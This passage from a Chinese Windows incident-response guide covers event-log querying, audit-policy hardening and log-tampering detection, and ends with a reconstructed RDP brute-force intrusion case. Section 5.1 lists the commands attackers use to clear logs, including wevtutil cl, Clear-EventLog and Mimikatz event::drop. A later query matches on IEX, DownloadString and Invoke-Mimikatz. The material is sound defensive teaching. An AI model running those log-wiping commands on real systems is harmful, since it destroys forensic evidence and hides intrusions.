Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; ID=5001} -EA SilentlyContinue | Select-Object TimeCreated, Message
|
BITS-Client
BITS(Background Intelligent Transfer Service)常被攻击者滥用下载恶意文件
1 2 3
| Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Bits-Client/Operational'; StartTime=(Get-Date).AddDays(-7)} -EA SilentlyContinue | Where-Object { $_.Message -match 'http' } | Select-Object TimeCreated, @{N='Detail';E={$_.Message.Substring(0,[math]::Min(300,$_.Message.Length))}} | Format-List
|
三、事件日志分析方法
3.1 wevtutil 命令行工具
用途:不依赖 PowerShell,纯 CMD 环境下查询和导出日志
Linux 对应:journalctl 的概念
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| # 列出日志通道 wevtutil el
# 查看日志通道信息(大小、记录数) wevtutil gli Security
# 查询事件(XPath 过滤) wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:10 /f:text
# 导出日志为 EVTX 文件(用于离线分析) wevtutil epl Security C:\IR\Security.evtx wevtutil epl System C:\IR\System.evtx wevtutil epl Microsoft-Windows-PowerShell/Operational C:\IR\PowerShell.evtx wevtutil epl Microsoft-Windows-Sysmon/Operational C:\IR\Sysmon.evtx
# 导出为 XML(可用 grep/findstr 搜索) wevtutil qe Security /q:"*[System[(EventID=4625)]]" /f:xml > C:\IR\failed_logins.xml
# 统计 24 小时内的事件数量 wevtutil qe Security /q:"*[System[TimeCreated[timediff(@SystemTime) <= 86400000]]]" /c:999999 /f:text | find /c "Event ID"
|
3.2 Get-WinEvent 详细用法
FilterHashtable(推荐,性能最好)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Get-WinEvent -FilterHashtable @{ LogName = 'Security' ID = 4624, 4625 StartTime = (Get-Date).AddDays(-7) EndTime = (Get-Date) Level = 1, 2 } -MaxEvents 100
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624,4625,4648,4672,4720,4732,1102; StartTime=(Get-Date).AddDays(-7)}
Get-WinEvent -FilterHashtable @{ProviderName='Microsoft-Windows-Sysmon'; ID=1,3,10,22}
|
FilterXPath(灵活,可按 EventData 字段过滤)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4624)] and EventData[Data[@Name='LogonType']='10']]" -MaxEvents 50
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4624)] and EventData[Data[@Name='TargetUserName']='support$']]"
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4625)] and EventData[Data[@Name='IpAddress']='91.215.85.29']]"
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4688) and TimeCreated[@SystemTime>='2026-04-01T00:00:00Z' and @SystemTime<='2026-04-02T00:00:00Z']]]"
Get-WinEvent -LogName System -FilterXPath "*[System[(EventID=7045)] and EventData[Data[@Name='ServiceName']='MyUpdateSvc']]"
|
输出处理技巧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| function Parse-EventData { param([System.Diagnostics.Eventing.Reader.EventLogRecord]$Event) $xml = [xml]$Event.ToXml() $result = [ordered]@{ TimeCreated = $Event.TimeCreated; EventID = $Event.Id } $xml.Event.EventData.Data | ForEach-Object { if ($_.Name) { $result[$_.Name] = $_.'#text' } } [PSCustomObject]$result }
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} -MaxEvents 10 | ForEach-Object { Parse-EventData $_ } | Format-List
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625; StartTime=(Get-Date).AddDays(-1)} | ForEach-Object { Parse-EventData $_ } | Export-Csv C:\IR\failed_logins.csv -NoTypeInformation -Encoding UTF8
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624; StartTime=(Get-Date).AddDays(-1)} | ForEach-Object { Parse-EventData $_ } | ConvertTo-Json -Depth 3 | Out-File C:\IR\logins.json -Encoding UTF8
|
3.3 离线分析工具
当需要在自己的分析工作站上处理收集来的 EVTX 文件时:
EvtxECmd(Eric Zimmerman)— 推荐
1 2 3 4 5
| # 解析 EVTX 为 CSV EvtxECmd.exe -f C:\IR\Security.evtx --csv C:\IR\output\ --csvf Security.csv
# 解析整个目录 EvtxECmd.exe -d C:\IR\logs\ --csv C:\IR\output\
|
python-evtx(Python)
1 2
| pip install python-evtx python -c "import Evtx.Evtx as evtx; f=evtx.Evtx('Security.evtx'); [print(r.xml()) for r in f.records()]"
|
PowerShell 离线分析
1 2
| Get-WinEvent -Path C:\IR\Security.evtx -FilterHashtable @{ID=4624} -MaxEvents 100
|
Timeline Explorer(GUI)
用于浏览 EvtxECmd 输出的 CSV 文件,支持排序、过滤、高亮
四、日志审计策略
4.1 默认审计策略的不足
Windows 默认审计策略非常保守,很多关键事件默认不记录:
| 事件类型 |
默认状态 |
影响 |
| 进程创建(4688) |
不记录 |
无法看到执行了什么命令 |
| 命令行参数 |
不记录 |
即使开了 4688,也看不到参数 |
| 服务安装(4697) |
不记录 |
Security Log 中无服务安装记录 |
| 计划任务(4698) |
不记录 |
无法检测计划任务持久化 |
| 详细文件共享(5145) |
不记录 |
无法看到共享文件访问详情 |
| PowerShell Script Block |
不记录 |
无法看到执行的脚本内容 |
| 登录成功(4624) |
记录 |
OK |
| 登录失败(4625) |
记录 |
OK |
| 账户管理(472x) |
部分记录 |
基本 OK |
这意味着:在默认配置的 Windows 上做 IR,你能看到的信息非常有限
建议:在入侵发生前就配置好审计策略(作为安全基线的一部分)
4.2 推荐审计策略配置(Advanced Audit Policy)
通过组策略配置:计算机配置 → Windows 设置 → 安全设置 → 高级审核策略配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
|
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable auditpol /set /subcategory:"Logoff" /success:enable auditpol /set /subcategory:"Special Logon" /success:enable auditpol /set /subcategory:"Other Logon/Logoff Events" /success:enable /failure:enable
auditpol /set /subcategory:"File Share" /success:enable /failure:enable auditpol /set /subcategory:"Detailed File Share" /success:enable /failure:enable auditpol /set /subcategory:"Registry" /success:enable
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable # 4688! auditpol /set /subcategory:"Process Termination" /success:enable # 4689
auditpol /set /subcategory:"Audit Policy Change" /success:enable auditpol /set /subcategory:"Authentication Policy Change" /success:enable
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable auditpol /set /subcategory:"Security Group Management" /success:enable auditpol /set /subcategory:"Computer Account Management" /success:enable
auditpol /set /subcategory:"Security System Extension" /success:enable # 4697! auditpol /set /subcategory:"System Integrity" /success:enable /failure:enable
|
查看当前审计策略:
1
| auditpol /get /category:*
|
4.3 命令行审计(Process Tracking + Command Line)
Step 1:启用进程创建审计(4688)
组策略:高级审核策略配置 → 详细追踪 → 审核进程创建 → 成功
或命令行:auditpol /set /subcategory:"Process Creation" /success:enable
Step 2:启用命令行记录
组策略:管理模板 → 系统 → 审核进程创建 → 在进程创建事件中包含命令行 → 已启用
或注册表:
1
| Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit' -Name 'ProcessCreationIncludeCmdLine_Enabled' -Value 1 -Type DWord
|
启用后,4688 事件将包含 CommandLine 字段,这对 IR 价值巨大
4.4 PowerShell 日志启用方法
Script Block Logging(最重要)
组策略:管理模板 → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging → 已启用
注册表:
1 2 3
| New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Force Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord
|
Module Logging
组策略:管理模板 → Windows Components → Windows PowerShell → Turn on Module Logging → 已启用
配置要记录的模块:*(所有模块)
注册表:
1 2 3 4
| New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' -Force Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' -Name 'EnableModuleLogging' -Value 1 -Type DWord New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames' -Force Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames' -Name '*' -Value '*' -Type String
|
Transcription(可选,记录到文件)
将所有 PowerShell 输入/输出保存到文本文件
1 2 3 4
| New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription' -Force Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription' -Name 'EnableTranscripting' -Value 1 -Type DWord Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription' -Name 'OutputDirectory' -Value 'C:\PSTranscripts' -Type String Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription' -Name 'EnableInvocationHeader' -Value 1 -Type DWord
|
五、日志清除与篡改检测
攻击者在完成操作后经常会尝试清除日志以掩盖痕迹
5.1 日志清除检测
Event ID 1102(Security Log 被清除)
1 2 3 4 5 6 7 8 9 10
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=1102} -EA SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() [PSCustomObject]@{ TimeCleared = $_.TimeCreated ClearedBy = $xml.Event.UserData.LogFileCleared.SubjectUserName ClearedFrom = $xml.Event.UserData.LogFileCleared.SubjectDomainName } }
|
Event ID 104(System Log 被清除)
1 2
| Get-WinEvent -FilterHashtable @{LogName='System'; ID=104} -EA SilentlyContinue | Select-Object TimeCreated, @{N='Detail';E={$_.Message}} | Format-List
|
常见日志清除命令(攻击者使用):
1 2 3 4 5 6 7 8 9 10 11 12
| # CMD wevtutil cl Security wevtutil cl System wevtutil cl Application
# PowerShell Clear-EventLog -LogName Security Get-WinEvent -ListLog * | ForEach-Object { wevtutil cl $_.LogName }
# 单条删除(更隐蔽,需要专用工具) # Mimikatz: event::drop # Danderspritz: eventlogedit
|
5.2 日志文件时间戳检查
1 2 3 4 5 6 7 8 9
| Get-ChildItem C:\Windows\System32\winevt\Logs\*.evtx | Select-Object Name, CreationTime, LastWriteTime, Length | Sort-Object LastWriteTime -Descending | Format-Table -AutoSize
|
5.3 日志大小异常检测
1 2 3 4 5 6 7 8 9 10 11 12 13
| Get-WinEvent -ListLog Security | Select-Object LogName, RecordCount, FileSize, LastWriteTime, OldestRecordNumber
$oldest = Get-WinEvent -LogName Security -MaxEvents 1 -Oldest $newest = Get-WinEvent -LogName Security -MaxEvents 1 Write-Host "最早事件: $($oldest.TimeCreated)" Write-Host "最新事件: $($newest.TimeCreated)" Write-Host "时间跨度: $(($newest.TimeCreated - $oldest.TimeCreated).TotalDays) 天"
|
经验法则: 生产服务器的 Security 日志如果时间跨度不到一周,几乎可以确定日志被清除过
5.4 日志转发防篡改
最佳实践:日志实时转发到 SIEM/日志服务器,攻击者即使清除本地日志也无法影响远程副本
Windows Event Forwarding (WEF)
1 2 3 4 5
| # 配置 Windows Event Collector 服务 wecutil qc
# 创建订阅(在收集服务器上) wecutil cs subscription.xml
|
Syslog 转发(通过 NXLog 或 Winlogbeat)
NXLog: 免费版支持将 Windows 事件转发到 Syslog/Elasticsearch
Winlogbeat: Elastic 官方 Windows 日志采集 Agent
关键: 在入侵发生前就要部署日志转发。事后补救只能分析剩余的本地日志
六、实战案例:RDP 暴力破解 → 登录 → 横向移动 攻击链重建
6.1 案例背景
场景: 安全运营中心(SOC)发现内网服务器 WEB-SVR01(10.0.1.50)出现异常外连告警
任务: 通过事件日志重建完整攻击链
时间线: 2026-03-31 ~ 2026-04-01
6.2 事件日志分析过程
Phase 1: 发现暴力破解
1 2 3 4 5 6 7 8 9 10 11 12 13
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625; StartTime='2026-03-31'; EndTime='2026-04-02'} | ForEach-Object { $xml = [xml]$_.ToXml() $data = $xml.Event.EventData.Data [PSCustomObject]@{ Time = $_.TimeCreated User = ($data | Where-Object {$_.Name -eq 'TargetUserName'}).'#text' SourceIP = ($data | Where-Object {$_.Name -eq 'IpAddress'}).'#text' SubStatus = ($data | Where-Object {$_.Name -eq 'SubStatus'}).'#text' LogonType = ($data | Where-Object {$_.Name -eq 'LogonType'}).'#text' } } | Group-Object SourceIP | Sort-Object Count -Descending
|
日志样本(失败登录):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" /> <EventID>4625</EventID> <TimeCreated SystemTime="2026-03-31T14:22:15.123Z" /> <Computer>WEB-SVR01.corp.example.com</Computer> </System> <EventData> <Data Name="TargetUserName">administrator</Data> <Data Name="TargetDomainName">WEB-SVR01</Data> <Data Name="Status">0xc000006d</Data> <Data Name="SubStatus">0xc000006a</Data> <Data Name="LogonType">10</Data> <Data Name="IpAddress">91.215.85.29</Data> <Data Name="IpPort">49832</Data> </EventData> </Event>
|
分析: 从 2026-03-31 14:00 开始,IP 91.215.85.29 对 RDP(Type 10)发起暴力破解
SubStatus 0xc000006a = 密码错误
3847 次尝试,持续约 4 小时
用户名包括:administrator、admin、test、user(字典攻击特征)
Phase 2: 暴力破解成功
1 2
| Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4624)] and EventData[Data[@Name='IpAddress']='91.215.85.29']]"
|
日志样本(成功登录):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <Event> <System> <EventID>4624</EventID> <TimeCreated SystemTime="2026-03-31T18:15:42.567Z" /> </System> <EventData> <Data Name="TargetUserName">administrator</Data> <Data Name="TargetDomainName">WEB-SVR01</Data> <Data Name="LogonType">10</Data> <Data Name="IpAddress">91.215.85.29</Data> <Data Name="IpPort">54321</Data> <Data Name="TargetLogonId">0x1A2B3C</Data> <Data Name="LogonProcessName">User32</Data> <Data Name="AuthenticationPackageName">Negotiate</Data> </EventData> </Event>
|
关键发现: 2026-03-31 18:15:42 UTC,administrator 账户被暴力破解成功
紧接着的 4672 事件确认获得了管理员特权
Phase 3: 攻击者操作(创建后门账户)
1 2
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4720; StartTime='2026-03-31T18:00:00'; EndTime='2026-04-02'}
|
日志样本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <Event> <System> <EventID>4720</EventID> <TimeCreated SystemTime="2026-03-31T18:22:05.890Z" /> </System> <EventData> <Data Name="TargetUserName">support$</Data> <Data Name="SubjectUserName">administrator</Data> <Data Name="SubjectLogonId">0x1A2B3C</Data> </EventData> </Event>
<Event> <System> <EventID>4732</EventID> <TimeCreated SystemTime="2026-03-31T18:22:18.345Z" /> </System> <EventData> <Data Name="TargetUserName">Administrators</Data> <Data Name="MemberSid">S-1-5-21-...-1003</Data> <Data Name="SubjectUserName">administrator</Data> </EventData> </Event>
|
分析:
攻击者使用暴破获得的 administrator 会话创建了 support$ 隐藏账户
6 秒后将该账户添加到 Administrators 组
SubjectLogonId 0x1A2B3C 与 Phase 2 的登录 ID 一致,确认是同一会话
Phase 4: 持久化与横向移动
1 2 3 4 5
| Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4698; StartTime='2026-03-31T18:00:00'; EndTime='2026-04-02'} -EA SilentlyContinue
Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045; StartTime='2026-03-31T18:00:00'; EndTime='2026-04-02'}
|
日志样本(服务安装):
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <Event> <System> <EventID>7045</EventID> <TimeCreated SystemTime="2026-03-31T18:30:55.123Z" /> </System> <EventData> <Data Name="ServiceName">MyUpdateSvc</Data> <Data Name="ImagePath">C:\ProgramData\Update\svc.exe -k netsvcs</Data> <Data Name="ServiceType">user mode service</Data> <Data Name="StartType">auto start</Data> <Data Name="AccountName">LocalSystem</Data> </EventData> </Event>
|
日志样本(显式凭据横向移动):
1 2 3 4 5 6 7 8 9 10 11 12 13
| <Event> <System> <EventID>4648</EventID> <TimeCreated SystemTime="2026-04-01T20:45:10.456Z" /> </System> <EventData> <Data Name="SubjectUserName">support$</Data> <Data Name="TargetUserName">CORP\svc_backup</Data> <Data Name="TargetServerName">DC01</Data> <Data Name="TargetInfo">DC01</Data> </EventData> </Event>
|
分析:
攻击者安装了恶意服务 MyUpdateSvc 作为持久化
随后使用 support$ 账户和窃取的 svc_backup 凭据尝试连接域控 DC01
Phase 5: 日志清除尝试
1 2 3 4 5 6 7 8 9 10 11 12 13
| <Event> <System> <EventID>1102</EventID> <TimeCreated SystemTime="2026-04-01T21:00:33.789Z" /> </System> <UserData> <LogFileCleared> <SubjectUserName>support$</SubjectUserName> <SubjectDomainName>WEB-SVR01</SubjectDomainName> </LogFileCleared> </UserData> </Event>
|
分析: 攻击者尝试清除 Security 日志,但 1102 事件本身被保留
6.3 攻击时间线总结
1 2 3 4 5 6 7 8 9 10 11
| 2026-03-31 14:00:00 UTC [4625 x3847] RDP 暴力破解开始 (91.215.85.29 → 10.0.1.50:3389) 2026-03-31 18:15:42 UTC [4624 Type10] 暴力破解成功 — administrator 通过 RDP 登录 2026-03-31 18:15:42 UTC [4672] administrator 获得特权 2026-03-31 18:22:05 UTC [4720] 创建隐藏用户 support$ 2026-03-31 18:22:18 UTC [4732] support$ 添加到 Administrators 组 2026-03-31 18:30:55 UTC [7045] 安装恶意服务 MyUpdateSvc (svc.exe) 2026-04-01 03:00:00 UTC [4698] 创建计划任务 SystemUpdate (每日凌晨3点执行) 2026-04-01 08:44:10 UTC [4688] powershell.exe 执行下载命令 (via w3wp.exe) 2026-04-01 20:45:10 UTC [4648] support$ 使用 svc_backup 凭据连接 DC01 2026-04-01 20:45:15 UTC [5140] 访问 DC01 的 C$ 管理共享 2026-04-01 21:00:33 UTC [1102] 尝试清除 Security 日志
|
6.4 应急响应建议
即时处置:
禁用 support$ 账户并从 Administrators 组移除
停止并删除 MyUpdateSvc 服务
删除 SystemUpdate 计划任务
删除 C:\ProgramData\Update\ 目录
重置 administrator 密码
重置 svc_backup 密码
封禁源 IP 91.215.85.29
后续排查:
检查 DC01 是否已被入侵
检查 svc_backup 凭据在域内还被用于哪些系统
全域搜索 support$ 账户(可能在其他机器也创建了)
收集 svc.exe 样本提交沙箱分析
导出所有相关日志用于后续取证
加固建议:
RDP 前置 VPN 或限制源 IP
启用账户锁定策略(如 5 次失败后锁定 30 分钟)
部署 Sysmon 增强审计
配置日志转发到 SIEM
启用 NLA(Network Level Authentication)
详见 Windows应急响应/08-加固与防护
七、日志分析 Quick Reference
最常用查询速查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
|
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625;StartTime=(Get-Date).AddDays(-1)} | Measure-Object
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4624)] and EventData[Data[@Name='LogonType']='10']]" -MaxEvents 50
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4720;StartTime=(Get-Date).AddDays(-30)}
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4732,4733;StartTime=(Get-Date).AddDays(-30)}
Get-WinEvent -FilterHashtable @{LogName='System';ID=7045}
Get-WinEvent -FilterHashtable @{LogName='Security';ID=1102} -EA SilentlyContinue Get-WinEvent -FilterHashtable @{LogName='System';ID=104} -EA SilentlyContinue
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';ID=4104} -MaxEvents 100 | Where-Object { $_.Message -match '(IEX|DownloadString|Invoke-Mimikatz|FromBase64)' }
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4698} -EA SilentlyContinue
Get-WinEvent -FilterHashtable @{LogName='Security';ID=5140} -EA SilentlyContinue | ForEach-Object { if ($_.Message -match 'C\$|ADMIN\$') { $_ } }
$outDir = "C:\IR\Logs_$(Get-Date -Format yyyyMMdd_HHmmss)" New-Item $outDir -ItemType Directory -Force @('Security','System','Application','Microsoft-Windows-PowerShell/Operational','Microsoft-Windows-Sysmon/Operational','Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational') | ForEach-Object { $safe = $_ -replace '[/\\]','_' wevtutil epl $_ "$outDir\$safe.evtx" 2>$null Write-Host "Exported: $_" }
|
Event ID 分类速查表
登录相关: 4624, 4625, 4634, 4647, 4648, 4672
账户管理: 4720, 4722, 4723, 4724, 4725, 4726, 4738, 4740
组管理: 4732, 4733, 4756, 4757
进程: 4688, 4689
服务: 4697 (Security), 7045 (System), 7040 (System)
计划任务: 4698, 4699, 4700, 4702
Kerberos: 4768, 4769, 4770, 4771
NTLM: 4776
共享: 5140, 5145
日志清除: 1102 (Security), 104 (System)
PowerShell: 4103, 4104
Sysmon: 1, 3, 7, 8, 10, 11, 12, 13, 22, 23, 25
RDP: 1149 (RemoteConnectionManager), 21/22/23/24/25 (LocalSessionManager)
Defender: 1006, 1116, 1117, 5001
参考与关联
Windows应急响应/01-基础知识
02-排查命令速查
Windows应急响应/04-持久化排查
Windows应急响应/05-Webshell排查
Linux应急响应/日志分析
外部参考:
Microsoft Security Auditing Documentation
SANS Windows Logging Cheat Sheet
UltimateWindowsSecurity.com Event ID Reference
SwiftOnSecurity Sysmon Config